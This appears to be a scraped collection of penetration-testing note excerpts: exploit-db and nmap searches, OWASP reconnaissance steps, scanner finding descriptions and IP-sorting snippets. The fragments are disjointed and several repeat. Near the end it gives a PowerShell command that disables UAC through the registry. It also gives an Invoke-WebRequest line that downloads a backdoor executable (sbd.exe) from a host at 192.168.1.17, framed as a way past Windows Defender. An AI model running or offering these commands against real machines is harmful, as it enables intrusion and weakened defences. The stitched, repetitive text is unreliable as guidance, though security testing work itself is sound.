Search in exploit-db
searchsploit --color samba | grep 'linux\/' | grep -v '/dos/' |
Search in exploit-db
searchsploit --color samba | grep 'linux\/' | grep -v '/dos/' |
After we gained a foothold on our target (exploitation) we want to upload and download files.
On UDP port 1434 is most likely the MS SQL Browser Service listening.
You can query this service to retrieve version info and the TCP port where MS SQL Server Service is listening.
nmap -P0 -v -sU -sV -p 1434 <ip> --script ms-sql-info |
Basic Linux Privilege Escalation
Windows Privilege Escalation
Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers. It’s possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually. These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.
DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
Synopsis : The remote device supports LLMNR. Description : The remote device answered to a Link-local Multicast Name Resolution (LLMNR) request. This protocol provides a name lookup service similar to NetBIOS or DNS. It is enabled by default on modern Windows versions.
Reported Risk factor by Nessus: None
In my option the severity should be much higher.
Code injection technique published by ensilo.
You probably gonna find this issue in your manual browsing and spidering phase of your assessment. But also Netsparker will report this issue during your scanning phase.
You probably gonna find this issue in your manual browsing and spidering phase of your assessment. But also Nessus will report this issue during your scanning phase.
You probably gonna find this issue in your manual browsing and spidering phase of your assessment. But also Nessus will report this issue during your scanning phase.
The version of Windows running on the remote host is affected by a vulnerability in the HTTP protocol stack (HTTP.sys) due to improperly parsing crafted HTTP requests. A remote attacker can exploit this to execute arbitrary code with System privileges.
There are many Pentest Methodologies that all share the same basic approach but their phases are named differently:
Perform name lookups with a wordlist (dictionary attack) to identify services/hosts/websites in the target domain. Only applicable if Check for DNS zone transfer failed.
Obtain valid server names and aliases for the IP addresses in the defined scope of the test.
Only applicable if Check for DNS zone transfer failed.
Test if the authoritative nameservers are allowing zone transfers for the domains in scope.
To understand what sensitive design and configuration information of the application/system/organization is exposed both directly (on the organization’s website) or indirectly (on a third party website).
(from the OWASP Testing Guide v4.0 Conduct search engine discovery/reconnaissance for information leakage (OTG-INFO-001)
Find the version and type of a running web server to determine known
vulnerabilities and the appropriate exploits to use during testing.
(OWASP Testing Guide v4.0 – OTG-INFO-002)
Find the version and type of a running web server to determine known
vulnerabilities and the appropriate exploits to use during testing.
(OWASP Testing Guide v4.0 – Fingerprint Web Server OTG-INFO-002)
To understand what sensitive design and configuration information of the application/system/organization is exposed both directly (on the organization’s website) or indirectly (on a third party website).
(from the OWASP Testing Guide v4.0 Conduct search engine discovery/reconnaissance for information leakage (OTG-INFO-001)
Check if the DNS servers are vulnerable to version queries.
Analyze the reported version for vulnerabilities and available exploits.
Powershell:
New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force |
Reboot required!
Links:
What pentesters should know about UAC
Bash:
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 |
Powershell:
gc .\ips.txt | sort {"{0:d3}.{1:d3}.{2:d3}.{3:d3}" -f @([int[]]$_.split(‘.’)) } |
Excel:
Use the following formula to calculate a number which we can sort on (cell A2):
=((VALUE(LEFT(B2, FIND(".", B2)-1)))*256^3)+((VALUE(MID(B2, FIND(".", B2)+1, FIND(".", B2, FIND(".", B2)+1)-FIND(".", B2)-1)))*256^2)+((VALUE(MID(B2, FIND(".", B2, FIND(".", B2)+1)+1, FIND(".", B2, FIND(".", B2, FIND(".", B2)+1)+1)-FIND(".", B2, FIND(".", B2)+1)-1)))*256)+(VALUE(RIGHT(B2, LEN(B2)-FIND(".", B2, FIND(".", B2, FIND(".", B2)+1)+1))))
When we try to download a backdoor program Windows Defender will block the file.
Invoke-WebRequest -uri "http://192.168.1.17/sbd.exe" -OutFile ".\sbd.exe" |
A few code snippets to perform ping sweeps: